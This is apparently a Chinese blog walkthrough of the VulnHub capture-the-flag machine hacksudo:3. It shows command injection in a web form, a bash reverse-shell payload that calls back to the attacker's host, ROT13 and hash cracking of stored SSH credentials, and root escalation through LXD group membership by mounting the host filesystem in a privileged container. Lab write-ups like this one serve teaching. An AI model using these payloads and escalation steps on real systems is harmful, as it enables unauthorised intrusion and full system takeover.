hacksudo:3 vulnhub靶场(LXD提权)

kali攻击机ip:192.168.156.107
靶机网络配置和hacksudo2一致

在这里插入图片描述

端口扫描

nmap -sS -p-  -A 192.168.56.108 

在这里插入图片描述

目录扫描

dirb http://192.168.56.108

在这里插入图片描述

info.php

在这里插入图片描述

别的文件就妹用了

访问80端口

在这里插入图片描述

下面几个链接都点点看

第一条,牛油果?avocado?

在这里插入图片描述

可惜妹用

在这里插入图片描述

第二个链接,1+1=2都知道吧,输入2解锁链接

在这里插入图片描述

别看了里面是作者的个人简介

后面的链接都一样妹用,但是密码留着可能有用

avocado  urlpage5  torrenting_is-legal!

不信,加个后缀再扫扫

dirb http://192.168.56.108 -X .php,.txt

在这里插入图片描述

login.php

在这里插入图片描述

尝试弱密码爆破失败=_=

上面几个密码也不行

在这里插入图片描述

generator.php

为你构造花式名字

在这里插入图片描述

有输入框就可能存在注入漏洞,输入一个特殊字符’,开启bp抓包

在这里插入图片描述

单引号被url编码了

在这里插入图片描述

无回显

在这里插入图片描述

将可能实现注入的字符都试一试,最终发现#(%23)和&(%26)有回显,证明这两个符号被成功插入进命令语句里了

在这里插入图片描述

&可以利用一下

居然可以执行shell命令

在这里插入图片描述

这么一来,不整个反弹shell都不好意思

现在kali开启nc监听

在这里插入图片描述

url编码有点难看,直接在页面注入

试了几个bash反弹代码,最终这个是可以的

a & bash -c "bash -i >& /dev/tcp/192.168.56.107/6666 0>&1"

在这里插入图片描述

在这里插入图片描述

用户目录没有权限查看

在这里插入图片描述

翻翻找找,发现了一个可查看的文件

cat hacksudo

在这里插入图片描述

unpxfhqb ybpxre FFU hfreanzr:unpxfhqb cnffjbeq:63p9142792q571q0s7p28ro30626q6s38792n2r7679o76q784231676q62447so80ns8953745s709p6622qqn2po4q754p262q0q31o3030n08s7o524079n6o336o

这很明显是个xxx:xxxx这种语法的句子,但是又看不懂,很大可能是凯撒密码(通过把字母移动一定的位数来实现加密和解密)

CTF在线工具-在线凯撒密码加密|在线凯撒密码解密|凯撒密码算法|Caesar Cipher (hiencode.com)

需要输入移动了几位数,看这个FFU,让我联想到ssh,f到s是13位

在这里插入图片描述

果然

在这里插入图片描述

hacksudo locker ssh username:hacksudo password:63c9142792d571d0f7c28eb30626d6f38792a2e7679b76d784231676d62447fb80af8953745f709c6622dda2cb4d754c262d0d31b3030a08f7b524079a6b336b

可是这个password,还是怎么看怎么不对劲,谁家好人密码这么乱七八糟

再试试是什么hash算法解密

终于找到一个可以解密hash密码的网站

md5在线解密破解,md5解密加密 (cmd5.com)

在这里插入图片描述

vishal

使用su命令切换到hacksudo用户

在这里插入图片描述

在这里插入图片描述

整个回显

python3 -c 'import pty;pty.spawn("/bin/bash")'\; 

在这里插入图片描述

d045e6f9feb79e94442213f9d008ac48

在这里插入图片描述

不知道是密码还是flag

找找提权方法,什么suid文件sudo命令等等等等都看过了,没用

查看用户id的时候发现了一堆没见过的东西

在这里插入图片描述

让我查一查

LXC
LXC (Linux Containers) is a technology for creating and managing
lightweight, isolated Linux environments. It is a containerization
technology that provides an operating system-level virtualization
method for running multiple isolated Linux systems on a single host.
LXD
LXD is a system container manager that provides a high-level API for
managing LXC containers. It is designed to provide a full system
container experience, with performance comparable to that of a
virtual machine. LXD adds a layer of management and automation to
LXC, making it easier to create and manage containers, including
features such as live migration, snapshotting, and container cloning.

LXD是一个root进程,它可以负责执行任意用户的LXD UNIX套接字写入访问操作。 而且在某些情况下,LXD甚至都不会对调用它的用户权限进行检查和匹配

原来要利用LXD提权
hacktricks

下面这篇文章作为参考吧,是国外的

lxd/lxc Group - Privilege escalation - HackTricks

找到一篇国内的,代码有所不同,不妨一试

看我如何利用LXD实现权限提升 - FreeBuf网络安全行业门户

git clone  https://github.com/saghul/lxd-alpine-builder.git

正常访问github的话我是下载不了的,会报错,所以我使用了一些科技,你懂的:-)

在这里插入图片描述

cd lxd-alpine-builder

在这里插入图片描述

alpine镜像构建,记得要用root权限

./build-alpine

在这里插入图片描述

这步很可能会报错,反正我执行了好几十次才成功

要么就这样

在这里插入图片描述

要么就这样

在这里插入图片描述

最终我也没有找到好的解决方案,就是靠执行的次数取胜 =_=

可以看见多了个v3.17 tar.gz文件

在这里插入图片描述

开启http服务

python -m http.server 8888

在这里插入图片描述

将镜像下载到靶机

cd /tmp
wget  http://192.168.56.107:8888/alpine-v3.17-x86_64-20230321_2235.tar.gz

在这里插入图片描述

初始化lxd

lxd init

到Name of the storage backend to use的时候, 输入dir,其他一路回车

在这里插入图片描述

这里要将镜像移到用户主目录下才能进行下一步

我看网上有的教程是直接在/tmp目录下做的,但是我试了一晚上都不行,一直报错,说找不到文件,查了半天没解决方法

在这里插入图片描述

后面才发现,将镜像移到主目录再导入就可以了

cd ~
 mv /tmp/alpine-v3.17-x86_64-20230321_2235.tar.gz ./alpine-v3.17-x86_64-20230321_2235.tar.gz

在这里插入图片描述

导入镜像

lxc image import ./alpine-v3.17-x86_64-20230321_2235.tar.gz --alias test

初始化镜像

lxc init test test -c security.privileged=true

在这里插入图片描述

挂载磁盘

lxc config device add test test disk source=/ path=/mnt/root recursive=true

在这里插入图片描述

启动镜像文件

lxc start test

运行了sh脚本,得到容器的Shell

lxc exec test /bin/sh

在这里插入图片描述

此时我们就是root权限了

id

在这里插入图片描述

进入目录/mnt/root即可查看靶机的所有资源

cd /mnt/root
cd root

在这里插入图片描述

o了 😃

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值